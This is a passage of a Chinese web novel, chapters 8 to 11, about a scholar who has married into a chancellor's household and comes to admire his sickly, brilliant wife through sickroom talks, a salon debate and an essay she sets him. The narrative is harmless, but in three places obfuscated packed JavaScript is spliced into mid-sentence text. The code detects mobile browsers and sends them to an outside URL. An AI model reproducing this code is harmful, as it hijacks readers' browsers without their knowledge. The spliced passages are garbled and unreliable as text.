就这么辗转反侧了一夜,秦砚又起了个大早,收拾整齐,准备回去看看穆小姐好些了没有。 他正准备出门,忽然想到什么,又转身回到书桌前,拿上几本昨日翻过的书攥在手里。 沁芳院的卧房门窗紧闭,里面不时传来压抑的咳嗽声,大夫丫鬟进进出出,每个人都脚步匆匆,面色凝重。 秦砚远远站在院子里的凉亭下,满心焦灼望着那扇开开合合的房门。 无人有空理会他,他也不敢贸然上前打扰。 就这样在寒风中等了一个多时辰。 秦砚手脚冰凉,朝手心里哈了口白雾,又跺了跺冻僵的脚,却半步也没敢离开。 几个下人簇拥着裹成团子的穆子钰走进了院子。 穆子钰瞧了一眼房门口的情况,扭头看向凉亭下的秦砚。 “你在这里做什么?我阿姐生病的时候,从来不见外人。” 秦砚吸了吸鼻子,侧身指向石桌上放着的书卷。 “我在这里读书,顺便看看穆小姐有没有什么需要我的地方。” “读书?” 穆子钰摘了厚厚的狐绒手套,翻了翻桌上的书页,抬头像看傻子似的看着秦砚。 “读书不去书房读,在这儿吹冷风,你是不是脑子有问题?” 秦砚扯了扯嘴角:“嘿……” 这小子在他姐姐面前装得一副乖巧懂事的样子,背地里却是个牙尖嘴利的小刺头。 “既然穆小姐病中不见外人,那小少爷怎么也来了?” 穆子钰没想到这人居然还敢跟他顶嘴,气得脸颊一鼓:“我可是阿姐的亲弟弟!你如何能跟我比?” 秦砚不紧不慢地反问:“既然如此,那小少爷为何不进屋去?” “我……” 穆子钰语塞,恶狠狠地瞪了他一眼,“阿姐刚喝了药肯定正在休息,我不想吵到她,晚点再来!” 秦砚目送那团子气鼓鼓地离去,轻轻吁了口气,继续守着他的凉亭和冷风。 8. 第 8 章 太医收拾着药箱,用余光悄悄打量这位病骨支离,却执掌相府大权的千金小姐。 “小姐,老臣有句话……不知当讲不当讲。” 穆卿云动作顿了顿,放下手中的帕子,“刘太医,但说无妨。” “小姐先天禀赋不足,体质本就孱弱,更不该如此劳神耗心,这般操劳,简直是在透支性命啊。” 穆卿云垂眸沉默片刻,轻描淡写道:“对我来说,与其浑浑噩噩躺在床上多活两年,还不如站起来,把想做的事情做完。这样将来走的时候,也能少些遗憾。” “这……” 太医欲言又止,却也无可奈何,摇头叹道,“太医院能用的方子已经都试过了,小姐可以派人再去民间寻访名医,或许还能有一线生机吧。” 知微帮忙整理着床褥,借着低头弯腰的动作,飞速背过身抹了把眼泪。 穆卿云捂住胸口,缓过一阵心绞痛,轻声道:“多谢刘太医费心,我记下了。” 天色渐晚,知微收拾着空了的药碗,顺嘴提了一句:“今日上午,小少爷来过一趟,但是怕吵到小姐,所以没进来。” 穆卿云肩头披着厚厚的氅衣,手肘靠在软枕上,低头看着摊开的折子,“嗯”了一声,权当回应。 知微端起托盘看了她一眼,犹豫了一瞬还是说道:“那秦大人也一早就过来了,在院子的凉亭里面枯坐了一天呢。” 穆卿云惊讶地抬起头,下意识看了眼窗外。 “天气这么冷,他在那儿坐着干什么?” 知微努努嘴巴:“奴婢不知,不过看他拿了几本书卷,可能是有什么问题要请教小姐吧。” 穆卿云搁下手里的折子,揉了揉眉心:“让他进来吧,别冻出毛病来了。” 面前的桌卷被风刮得翻了好几页,秦砚哆哆嗦嗦地拢了拢衣襟,感觉自己的脑袋都快结冰了。 “姑爷?” 知微不知何时走了过来,轻声唤道,“我家小姐叫你呢,让你进屋去。” “……哦,好。” 秦砚应了一声,想要挪动却发现双腿都已经冻得麻木没有知觉了。 他僵在原地,有些尴尬地轻咳一声,“姑娘先进去吧,我收拾一下,马上就来。” 知微瞧出了他的窘迫,笑着转身先走了。 等到背后的脚步声走远了,秦砚才使劲捶了捶不争气的腿,然后扶着石桌缓缓起身,把桌上的书卷都收进怀里。 卧房里摆着好几个烧得通红的炭盆,满室暖融融的。 秦砚一进屋,就被这带着苦涩药香的暖意给包裹住,手脚终于开始恢复知觉。 “知微说你带着书在外面等了一天,是有什么不懂的地方要问吗?” 穆卿云的声音从屏风后传了过来,听起来有些虚弱,但似乎精神还好。 “……是的。” 秦砚慢半拍地从怀里掏出书卷,刚解冻的脑袋一听见穆卿云的声音,先前打好的腹稿就全都给忘了个干净。 穆卿云等了一会儿没听到他的声音,疑惑道:“秦大人?” “我在!” 秦砚一个激灵,下意识朝屏风迈了一步,却又生生收住脚,“穆小姐……身子还好吗?” 穆卿云轻笑:“老毛病了,就是容易累,歇一歇就好。” 秦砚松了口气,低头翻了翻手里已经被风吹得边角微卷的书卷,终于想起来自己要问什么。 “晚生昨日在读《盐铁论》时,见前人争论官营与民营之利弊,心中颇有疑惑。如今边境未宁,国库吃紧,若一味重税敛财,恐伤民生。但若放宽管制,又怕商贾囤积居奇,百姓受苦。不知小姐以为,治国者,当以国为先,还是以民为重?” 屏风后安静了片刻,才听穆卿云轻咳两声,缓缓道:“国以民为本,民以食为天。无民则无国,虐民则亡国。看似是国与民择一,实则是长远与眼前之分。” 秦砚若有所思,追问道:“那为官者该如何权衡取舍?” “眼前看,官营能速聚钱粮,解一时之急。长久看,藏富于民,方能仓廪实,礼乐兴,边境自固,朝堂自安。” 不过道理易懂,实际施行起来却是步步维艰。 如何推行仁政是一方面,朝堂上太傅一党虎视眈眈,想要绕过他们的掣肘又是另一方面了。 穆卿云顿了顿,沉声道:“你是新科状元,将来要入仕理政,一定要记住一句话,不恤民生者,权谋再高,终是空中楼阁。” 秦砚听得心头一震,原本只以为她是深居相府,体弱多病的女子,不料论及天下苍生,竟有这般通透眼界。 他连忙躬身:“晚生从前只会在书卷里论是非,小姐一言,如拨云见日,令晚生茅塞顿开。” 两人正说着话,知微敲门进来,带着身后的丫鬟,端来了热气腾腾的晚膳。 “小姐,该用膳了。” 秦砚往旁边让了让,低头揉了揉鼻子。 饭菜的香气飘进鼻子里,让他饿了一天的肚子咕噜咕噜地响了起来。 他连忙用拳头抵住腹部,一边偏头轻咳,拼命掩饰这尴尬的声音。 “既然小姐要用膳了,那晚生就不打扰了,先行告退。” “等等。” 穆卿云轻声叫住他,缓缓从床上起身,绕过屏风,走到秦砚面前。 “秦大人也还没用饭吧,何不坐下一起?” 秦砚心知自己应该推辞几句,可身体却控制不住地乖乖听话落了座。 桌上摆着几道清淡适口的小菜,虽然不见太多荤腥,但色香味俱全,一看就是用心准备的病中膳食。 坐在桌边,秦砚的肚子更是叫得欢了。 穆卿云见他不好意思动筷,于是率先拿起筷子夹了一筷青菜,“秦大人不必拘谨,随意就好。” “好。” 秦砚这才拿起筷子,十分克制地小口小口吃了起来。 “我这边饮食素来清淡,秦大人若是吃不惯,往后可以吩咐厨房另做,让知微给你安排。” “不,不必了,我不挑食,吃得惯。” 秦砚咽下一口饭,苦笑道,“从前家中清贫,常常有了上顿没下顿,如今能吃饱已是福分,哪还有挑剔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524722|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理。” 穆卿云静静听着,忽然问道:“既然你家境如此贫寒,那当初是如何筹措进京盘缠的?” 秦砚放下筷子,双手规规矩矩地放在膝头,认真答道:“赴考前一年,曾意外得一位贵人相助,这才有了进京赶考的盘缠。娘亲去世时,也多亏了贵人留下的钱财,这才得以妥善安葬。” “哦?”穆卿云弯了弯眼睛,“还有这等奇缘?” “我自己也觉得很不可思议,曾经还偷偷想过,以为是天上的仙子下凡相助,”秦砚摇摇头,“可终究只是妄想。我只盼着能再遇见那位恩人,可以早日偿还这份恩情。” 穆卿云端起茶盏抿了一口,淡淡道:“秦大人倒是个知恩图报的。” 秦砚忽然意识到自己好像说得太多了,连忙找补道:“穆小姐于我有收留之恩,在下同样感激不尽!往后若是有什么用得上的地方,在下定当万死不辞!” “吃饭呢,怎么又说起什么死不死的了。” 穆卿云无奈一笑,把那道清蒸鲈鱼往秦砚面前推了推,“趁热,多吃点。” 知微站在一旁瞧着,心里暗暗称奇。 若是放在往常,小姐总是浅尝几口就撂了筷子,今日兴许是有人陪着,竟然还多吃了一些,倒是难得。 穆卿云抬眸,看见秦砚通红的耳朵,温声叮嘱道:“今日外面那么冷,秦大人耳朵都冻透了。以后若是有事找我,只管让知微通传一声就好,别再傻傻守在外面吹风。” 秦砚揉了揉耳朵,竟然连耳根都开始红了起来,“是,在下记住了。” 知微上前帮穆卿云布菜,抿着唇角揶揄道:“姑爷这哪儿是冻的,分明是不好意思,羞的吧?” “是热的,”秦砚用袖子擦了擦额头,心虚地解释道,“屋里炭火烧得太足,是热的……” 穆卿云嗔了知微一眼,帮秦砚解围道:“我体虚畏寒,所以炭盆放得多了些,可能对你来说,的确有些闷热。” 知微忍着笑,撇了撇嘴,还是把剩下的话咽了回去。 秦砚点点头,继续沉默扒饭,不知道自己这是怎么了。 从前在翰林院,他面对一众饱学鸿儒也能从容论学。哪怕是殿试之后,当着皇上的面儿对答策问,也都没有像这般紧张过。 好像只要一看见穆小姐,这么多年读的圣贤书都成了无用废纸,胸腔里的这颗心脏开始失去控制,如同脱缰野马,横冲直撞,怎么也静不下来。 穆卿云嘴里全是药汁的苦味,压根没什么胃口,浅尝了几口就吃不下了,只是看秦砚吃得正香,所以也只好继续陪着。 她端起刚添的热茶,轻轻吹了吹热气,“我这里太过闷热,秦大人这段时间还是去书房歇息吧,免得传染了病气给你。” 秦砚动作一顿,心里暗自懊恼,头回体验到什么叫,搬起石头砸了自己的脚。 “其实我……” 穆卿云端着茶盏,不着痕迹地打断道:“大人若是有学问上的疑惑,可以随时过来找我探讨,不必拘礼。” 秦砚抬头看了她一眼,只好闷闷道了声:“好。” 9. 第 9 章 “你的意思是说……那穆小姐不仅长得倾国倾城,跟天仙似的,还知书达理,懂得治国理政,连学问见识都跟你不相上下?” 城郊僻静的小茶馆里,尹都坐在秦砚对面,摸着下巴,一脸不可思议。 秦砚认真地摇了摇头,纠正他:“不是不相上下,而是远超于我。无论是眼界格局,还是谋略手段,穆小姐都堪称当世无双。” “啧啧啧……” 尹都咂了咂嘴,揶揄道,“这才嫁过去几天啊,就被迷得七荤八素。这还是当初那个心高气傲,宁死不从的秦状元嘛?” 秦砚被他说得耳根发红,梗着脖子道:“我说的句句都是实话,是你没见识罢了。” 尹都嗤笑道:“我一届闲散游民,自然是没什么见识。只是旁人都说那相府千金体弱多病,深居简出,不知怎么到你嘴里就成了天上有地下无的巾帼奇才。” “体弱多病是真,当世无双也是真。” 秦砚想起穆卿云的病,语气沉重了下来,“尹兄,你经营茶楼,平日里接触到的三教九流多,烦请帮我留意一下擅长疑难杂症的名医,我想替穆小姐求个方子。” 尹都挠挠脑袋,面露难色:“认识的人倒是有几个,但不过……她的病就连太医院都束手无策,这民间郎中还能有什么办法?” “成与不成,总得试试。” 秦砚垂下眼,攥紧了手中的茶盏。 “行吧,我替你留意着。” 尹都拍了拍他的肩膀,正色道,“秦砚,我当你是好兄弟才提醒你一句,那可是水深火热的相府,你身在漩涡中心,一定要万分小心,人心险恶,不得不防。” 秦砚神色凝重,点头应下:“明白,我会多加谨慎。” 不知不觉,桌上的茶已经凉透了。 秦砚望着窗外斑驳的树影发呆,忽然听见远处传来梆子声,连忙急切问道:“尹兄,现在什么时辰了?” 尹都正靠在椅背上打盹,冷不防被他吓了一跳,打了个哈欠道:“刚敲过梆子,应该快到未时了吧。” 秦砚脸色一变,立刻从椅子上弹了起来。 “不好!今日是相府两月一次的清谈会,我快迟到了!” 尹都揉了揉眼睛:“什么清谈会?” 秦砚没空跟他解释,丢下一句“改日再聊”,就一阵风似的冲出了茶馆。 丞相府,潇湘阁。 秦砚一路疾走,终于赶在清谈会开始前踏进了潇湘阁。 阁中已经座无虚席,在场之人皆是京城名士,清流子弟,此刻都在三三两两低声交谈,等着这场两月一次的盛会开场。 秦砚大致扫了一圈,发现小少爷穆子钰竟然也被人簇拥着坐在前排。 他不敢凑上前,只寻了个不起眼的角落坐下,抬头朝正堂望去。 湘妃竹帘低垂,帘后隐隐约约能看见一道清瘦的身影。 穆卿云已经在了。 “咳。” 一声极轻的咳嗽从帘后传来,堂内顿时安静下来。 “诸位请便,不必拘礼。” 她的声音隔着竹帘,清清淡淡的,秦砚已经可以想象到她说话时的神态。 一定是眉眼轻敛,唇角噙着浅笑,指尖轻搭在茶盏沿上。哪怕病弱,也难掩一身清贵。 在他兀自走神之际,身边的人却忽然用手肘碰了碰他的胳膊。 “这位大人瞧着面生啊,你也是第一次来吗?” 一个面容俊朗的年轻公子,挤眉弄眼地朝秦砚凑了过来。 他眼神明亮,语气轻快,像是哪家毫无城府的小少爷,应该只是自来熟罢了,没什么坏心思。 秦砚点点头,“嗯”了一声。 “我叫虞英才,京兆尹司录参军是我爹。这次我可是求了家父好久,他老人家才同意让我来参加这场清谈会的呢!” 对方上来就自报家门,秦砚正在犹豫要不要也报上姓名,就听那人倒豆子似的继续道:“在下仰慕穆小姐已久,可惜一直无缘得见。相府这两月一次的清谈会是我唯一能靠近她的机会,我这次可得好好把握住了!一会儿争取语出惊人,看能不能得到穆小姐的一句点评!” 这人如此热忱坦荡,居然这么轻易就把满腔爱慕讲给一个陌生人听。 秦砚心头微动,他也同样仰慕穆小姐,但却因为身份尴尬,从不敢表露半分,甚至连多看她一眼都觉得唐突。 看着这位公子眼中毫不掩饰的热切,秦砚忽然觉得有些惭形秽,只好假装专心听辩,把目光放到了堂上。 今日论的是“义利之辨”,虽是老生常谈,却总能辩出新意。 几个年轻气盛的名士争得面红耳赤,引经据典,滔滔不绝。 秦砚听得入神,时不时点头,偶尔皱眉。 帘后始终安静,那道身影只是静静坐着,偶尔端起茶盏抿一口,偶尔掩唇轻咳两声,却不曾出声打断。 直到两边争得僵持不下,谁也说服不了谁时,帘后才传来穆卿云娓娓动听的声音:“周公子方才说‘君子喻于义,小人喻于利’,可曾想过,若无利以养民,义将焉附?” 方才还慷慨激昂的周公子顿时语塞。 帘后人继续道:“管子云,‘仓廪实则知礼节’。义与利,从来不是非此即彼。为政者若只知空谈仁义,却不解民生疾苦,那这义,便是无根之木,无源之水。” 秦砚正在顺着穆卿云的话锋思考,身边的虞英才却忽然大力拍了拍他的大腿,眉飞色舞地感叹道:“妙啊!真是太妙了!” 秦砚往另一旁躲了躲,揉揉大腿,疑惑地问:“虞公子悟出什么了?” 虞英才一脸激动地看着他:“我是说,穆小姐的声音,犹如清泉漱石,清越婉转,沁人心脾,简直妙哉!” 秦砚:“……” 这位公子还真是表里如一,胸无点墨,空空如也。 坐在最前排的邵同光耳尖动了动,忽然转头,看了一眼后排正在交头接耳的两人。 秦砚后知后觉地抬头望去,只觉得刚刚好像有一道冷冰冰的视线落在他身上,但转瞬即逝,仿佛只是他的错觉。 他摸了摸发凉的后颈,暗叹奇怪。 热火朝天的辩论一直持续了一个半时辰,众人的争论暂时停歇下来,有人喝茶润喉,有人凑在一起低声交流。 只有秦砚心神不宁,在担心竹帘后的那人体力还撑不撑得住。 虞英才从怀里掏出事先准备好的手稿,又临时抱佛脚地默背了几遍,这才兴致勃勃地站起身,拉着秦砚怂恿道:“这位仁兄,趁着这会儿休息,不如我们一起去找穆小姐讨教几句吧!” “不,我就不必了……” 秦砚本想拒绝,但谁知那虞公子身材健硕,力气也大得惊人,一把将他从座位上拉了起来,一路连拖带拽地走向那道湘妃竹帘。 “穆小姐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524723|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞英才整了整衣冠,对着竹帘后的人影躬身作揖,“在下虞英才,对今日辩题有些疑惑,想向小姐讨教一二。” 穆卿云“嗯”了一声,轻声道:“原来是虞公子,先前都是令尊来参加清谈,今日倒是头一回见到你。” 见她竟然知道自己是谁,虞英才大喜过望,连忙开始背稿: “晚生以为,如今商贾之困,在于税赋过重。朝廷连年加征商税,以致商路凋敝,货物流通不畅。商人无利可图,百姓无货可买,最终受苦的还是黎民。故而晚生以为,当减轻商税,疏通商路,让货物流通起来,百姓才能买到便宜的东西,朝廷也能从繁荣的商贸中获得更多税银。” 穆卿云手肘支在扶手上,指尖轻点额头,沉默地听完,却没有直接回答,反而是问向另一边站着的秦砚。 “秦大人如何看?” 秦砚冷不防被点名,下意识跟虞英才对视了一眼,定了定神,恭敬道:“虞公子所言有理,商税过重确实不利民生。但晚生以为,商人逐利,若不加约束,难免囤积居奇,哄抬物价。税赋虽是负担,却也是朝廷调控商贾的手段。与其一味减税,不如严查奸商,平抑物价,让百姓真正受益。否则,减下来的税银,最后也不过是进了奸商的腰包。” 穆卿云撩开眼皮,唇角浮起一抹笑意。 一直默默倾听的邵同光坐不住了,起身反驳道:“秦大人此言差矣!商人也是百姓,也要养家糊口。你把奸商和良商混为一谈,岂不是要让所有商人为少数奸商的行为买单?” 秦砚听出这人话里话外对他的敌意,他疑惑地看了邵同光一眼,只觉得此人有些眼熟,但一时也想不起来是在哪儿见过。 “大人误会了。晚生从未说过要苛待良商,恰恰相反,晚生以为,严查奸商,正是为了保护良商。试想,奸商囤积居奇、哄抬物价,致使市场混乱,民怨沸腾,届时朝廷一道禁令下来,所有商人都会受牵连,良商岂不也跟着遭殃?严查奸商,肃清市场,让百姓对商贾重拾信任,良商的生意才能长久做下去。这才是真正的体恤商贾。” 这段话说的条理清晰,有理有据,不仅让邵同光哑口无言,就连一直旁听的穆子钰都坐直了身子,看向秦砚的目光里多了几分惊异和赞许。 等到他们安静下来,穆卿云这才慢悠悠地开口:“虞公子,秦大人这番话,可解决你的疑惑了?” 虞英才压根没听懂他们在吵什么,但还是连连点头:“解决了解决了,秦兄高见。” 两人正准备行礼退下,竹帘后忽然又传来穆卿云的声音。 “邵大人方才说的也有道理。商人也是百姓,也要养家糊口。若一味严查,良莠不分,反倒寒了商贾的心。” 秦砚脚步一顿,虞英才也跟着愣在原地。 “秦大人所言,也切中要害。奸商不除,良商难安。此事到底该如何处置,秦大人不妨回去仔细想想。” 穆卿云顿了顿,似是被牵动了咳意,缓了一息才继续道,“我书房东墙第三格,有几本前朝盐铁论的奏议汇编,还有两册江南商路的调查实录。你若有空,可以去翻翻。” 秦砚怔了怔,连忙躬身:“是。” “看完之后……” 穆卿云的语气里似乎带上了一丝极淡的笑意,“写一篇论述交给我。要言之有物,不许空谈。” “……是。” 秦砚应下,耳根又不受控制地烧了起来。 10. 第 10 章 虞英才在一旁看得目瞪口呆,等两人退下后,才悄悄扯了扯秦砚的袖子,压低声音问道:“秦大人?你是……刚刚入赘相府的新科状元秦砚?” 秦砚这才对他拱了拱手,做起了自我介绍:“正是在下,翰林院秦砚,见过虞公子。” “我……” 虞英才脸色几番变幻,最后还是咬牙切齿,攥紧拳头重重捶了他一拳。 “天杀的,你命也太好了!下辈子能不能换我入赘相府!” 秦砚揉着胳膊,苦笑抬头,发现四周多了许多双看热闹的眼睛。 既有好奇,也有羡慕,更多的是酸溜溜的嫉妒,好像他占了天大的便宜,恨不得把他生吞活剥才好。 若人人都能像虞英才这般爱憎分明,不藏着掖着,喜怒形于色就好了,那他应付起来,倒也还能轻松些。 “虞公子心直口快,坦坦荡荡,这份心性倒是世间难得。” 虞英才愣了一下,挠了挠头:“你是夸我还是损我呢?” 沁芳院的书房里。 秦砚已经在堆满古籍的书桌前坐了一整天。 手边堆放着一沓废弃的手稿,上面密密麻麻写满了删改批注。 这是穆卿云第一次给他布置的课业,他拿出了一万分的认真与谨慎,生怕哪里写得不够好,让穆卿云对他失望。 字斟句酌,反复推翻,不断重写,直到夜色渐深,秦砚才终于拿出了满意的定稿。 他轻轻吹干纸上的墨迹,揉了揉咔吧作响的脖颈,准备去找穆卿云交课业。 卧房没有见到人,丫鬟说,小姐今日在军机阁议事,还没回来。 秦砚想了想,揣好自己的文章,又迈步向军机阁走去。 “漕运整顿的事情,邵大人还需盯紧些,有消息及时来报。” 穆卿云被知微扶着,低声说着话,送邵同光走出军机阁。 邵同光顿住脚步,对她抱拳颔首:“属下明白,还请小姐放心。” 穆卿云有些累了,连嘴角的弧度都淡了下去:“邵大人慢走不送。” “穆小姐!” 邵同光的身影才刚离开,秦砚就从拐角处冒了出来。 “秦大人?”穆卿云有些惊讶,“你怎么在这里?” 秦砚快步上前,紧张又兴奋:“你先前交代让我写的策论文章,我已经完成了,特来呈给你过目。” “这么快?”穆卿云微微挑眉,笑道,“那一起回去看看吧。” 卧房里放置着好几个烧得正旺的炭盆,屋里的温度节节攀升。 秦砚脱下了外袍,端坐在穆卿云对面。如此近的距离,如此静谧的氛围,每偷偷看她一眼,秦砚头上的汗珠就就会多冒出一层。 穆卿云认真看完他写的文章,抬头刚想说话,却看见一张汗水涔涔的脸。 “秦大人……这么热吗?” 她扫了一眼角落的炭盆,“要不要撤走几个炭盆?” “不,不用,我不热。” 秦砚捏住袖子快速擦了把汗,飞速扯开话题:“我今日把那几本奏议都看了一遍,受益匪浅,又试着在文章里加上了一些粗浅的拙见,不知写得可还入眼。” 穆卿云微微颔首,赞同道:“你这句‘商税之重,不在税重,而在税不均’写的很好。言之有物,一针见血,不愧是陛下钦点的状元。” 秦砚被她夸得脸热心更热,于是头上的汗更加止不住地往外冒。 穆卿云抿唇轻笑,拿出帕子递给他:“秦大人擦擦吧。” “好……” 秦砚双手接过帕子,却只是紧紧攥在手里,生怕弄脏了。 穆卿云看在眼里,没多说什么,只是忽然问道:“昨日清谈会,见秦大人和虞公子相谈甚欢,你们似乎很熟?” “也没有,”秦砚挠了挠头,老实道,“我与那虞公子也是昨日才刚认识,聊得还算投缘。” “虞公子的父亲是京兆尹司录参军,为官清廉,性情温和,又是老来得子,素来疼宠,这才给他养成了这般心直口快,毫无城府的性子。不过虽说虞公子行事有些跳脱,但性子倒也还算赤诚可爱。” 说到这里,穆卿云的眼神忽然变得怅然,幽幽叹了口气。 “其实若能像虞公子这般,无忧无虑地过一辈子,才是真正的有福之人。” 被囚于金笼的鹤,可曾羡慕过林间自由的雀? 她这般惊才绝艳的女子,可曾埋怨过老天不公? 为什么要给她一副这样的身体? 为什么要生在相府,把她困在这尔虞我诈的旋涡,不得片刻喘息? 秦砚不敢问,只能在心里默默思忖。 “其实……虞公子他十分仰慕小姐,昨日清谈会,他特意精心准备了策论,就是想得到小姐的点评和认可。” 穆卿云低头失笑:“虞公子一向不善此道,这次光是背稿应该就费了不少力气吧?” 秦砚惊愕地看了她一眼,没想到虞公子的那点小把戏早就被她看穿了,只是懒得戳破罢了。 今日在军机阁忙了一天,穆卿云已经很疲惫了。此刻夜色已深,四下寂静,她的眼睛里也难得流露出几分从不轻易示人的柔软。 “那你呢,秦公子?” “嗯?” 秦砚恍然抬头,对上她看过来的视线。 全身的血脉开始奔腾,胸腔里那颗不受控的心脏再次开始狂跳。 他不确定她问的是不是自己想的那个意思,喉结滚动半晌,谨慎又模糊地回答道: “我也一样。” 一样仰慕小姐,一样想靠近小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524724|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一样……想成为对小姐有用的人。 穆卿云歪着脑袋看着秦砚,心想,这人实在不会掩饰心思,满腔的热忱都快从眼里溢出来了。 如此纯粹单纯,只愿日后不要因此而吃亏才好。 “今日这篇策论写得很好,我书房里还有一些关于漕运整顿的卷宗和前朝旧案,你得空了可以仔细研读,若有什么心得,可以再拿来与我探讨。” 她轻描淡写地转移了话题,秦砚一颗心被高高抛起,又被轻轻巧巧地放下。 好像一场险些破茧的悸动,又被悄无声息地按回了壳里。 “是。”他深吸口气,垂首应下。 深夜。 烛火将熄的书房里。 秦砚躺在床上,枕着手肘,怔怔地盯着手里那方手帕出神。 如果先前就咬定自己不怕热,是不是就能被准许留在卧房了? 哪怕是那张伸不开腿的贵妃榻也好啊。 穆小姐…… 穆卿云…… 穆时雨…… 春雨应时,膏泽斯溥。不先不后,如解倒悬。卿云所降,自是时雨…… 带着幽香的手帕悠悠落在秦砚脸上,仿佛佳人在侧,吐气如兰。 秦砚就这么沉醉了片刻,而后忽然弹起身,揭开被子看了一眼。 “……” 他迅速涨红了耳根,低声暗骂:“秦砚,你现在怎的如此孟浪无状?满脑子都是这些有的没的,如何对得起你这些年所读的圣贤书?” 可他越是这么骂自己,身体的情况反而还愈演愈烈,大有燎原之势。 眼看这样下去不行,秦砚干脆翻身下床,重新剪了烛芯,翻开今日没看完的书卷埋头苦读起来。 他大声诵读,企图驱散脑海中的旖旎画面。 卧房里,穆卿云刚脱下外衣递给知微,就隐约听见了熟悉的读书声。 “这……”她凝神细听片刻,疑惑道,“是秦大人?” 知微点头道:“奴婢听着也像是。” “怎么还没睡,这么晚了还在读书呢?” “怕是今日跟小姐多说了几句话,此刻心潮澎湃还静不下来呢。” 知微扶着穆卿云上榻,蹲在床边帮她脱去鞋袜,趁机低头掩饰止不住上扬的唇角。 “刻苦读书也要有个分寸,熬坏了身体就不好了。” 穆卿云无奈摇头,又吩咐道,“你明日让厨房炖一盅人参乌鸡汤送去,给他补补身体。” 知微低声嘟囔:“那只怕是越补越睡不着咯……” “什么?” 穆卿云没听清,侧身看向知微,轻声追问。 “没什么,”知微立刻颔首道,“奴婢是想说,府里正好刚进了些上好的人参,明日就让厨子炖了给姑爷补身子!” 11. 第 11 章 翰林院。 秦砚把誊抄好的文稿又仔细整理了一番,确认无误后,这才起身往院正的值房走去。 韩信鸿正靠在椅中翻看闲书,见秦砚进来,连眼皮都没抬一下,只懒洋洋地“嗯”了一声。 “韩大人,这是上月要的《实录》校勘稿,学生已经整理完毕,请您过目。” 秦砚将文稿双手呈上,放在案边。 韩信鸿这才掀起眼皮,伸出两指随意翻了翻:“秦修撰倒是勤快,这么快就弄完了。” “份内之事,不敢拖延。” “份内?” 韩信鸿把文稿往旁边一推,嗤笑一声,“也是,如今你可是相府的娇客,自然要做些样子给岳父大人看。只是不知这翰林院的差事,秦大人还能做几日?” 秦砚没有刻意辩解,平和道:“韩大人多虑了。学生既入翰林,自当尽心当差。至于其他,不是学生能操心的。” 入赘相府以来,像这样的嘲讽声音总是如影随形,时间长了,秦砚倒也习以为常,已经可以淡然处之了。 “呵,你倒是会说话。” 韩信鸿摆了摆手,像赶苍蝇似的,“行了,放这儿吧,本官有空再看。” 秦砚不卑不亢地行了一礼:“那学生告退。” 日头西斜,翰林院的人都陆陆续续下值离去。 秦砚整理好案头的文稿,从值房出来,刚走出翰林院的大门,就瞧见一个熟悉的身影在门口来回踱步。 “秦兄!” 虞英才眼尖,一见他出来,立刻颠颠儿地迎了上来,一把勾住他的肩膀。 “可算等到你了!我等了你小半个时辰呢!” 秦砚有些意外:“虞公子?你怎么在这儿?” “玩儿啊!” 虞英才说得理直气壮,“左右也是无事,不如我们一起去尹兄的茶楼坐坐吧!” 自那场清谈会后,虞英才像是找到了知音,有事没事就来找秦砚厮混,今日拉着他去茶楼,明日又非要请他喝酒,一来二去,两人也算是混熟了。 秦砚惦记着穆卿云给他布置的课业,推脱道:“你是无事,我还赶着回府看书呢,你自己去吧……哎……” 可虞英才却根本不给他开溜的机会,直接不由分说地拽着他往外拉。 “天天闷头读书不累吗你?走吧!就去坐一会儿,又不饮酒,不会耽误事儿的!” 城郊小茶馆里。 尹都支了张摇椅放在门口,眯着眼睛摇摇晃晃地晒着太阳。 简陋破旧的茶楼依然冷冷清清,门可罗雀。 所以当虞英才那大嗓门响起时,他第一时间就睁开了眼,扭头望去。 “虞英才,你怎么又来了?” 虞英才眉梢一挑,不服气道:“嘿!你这人,敞开大门做生意,怎么还往外撵人呢!” 秦砚理了理被扯歪的衣襟,拱手跟尹都打了声招呼。 “我选在这儿开茶楼可不就是图个清静嘛,你一来,我这耳朵就别想消停……” 尹都不耐烦地起了身,拿起一旁的抹布,敷衍地在桌子上拍了拍。 “客官请坐,要喝点什么?” “上一壶你家最好的碧螺春,再来两碟招牌点心!” 这二世祖是把他这儿当酒楼了。 尹都翻了个白眼,转身直接用手抓了一碟花生米放进盘子里。 虞英才拉着秦砚在桌前坐下,一副熟门熟路的样子。 秦砚瞥了眼外头渐沉的暮色,心里有些焦急:“虞公子,你找我到底有什么事儿?时辰不早了,我还得早点回去呢。” 虞英才嘿嘿一笑,也不兜圈子,直接道:“秦兄,我知道你学问好,文采高,所以厚着脸皮,想请你帮个小忙。” 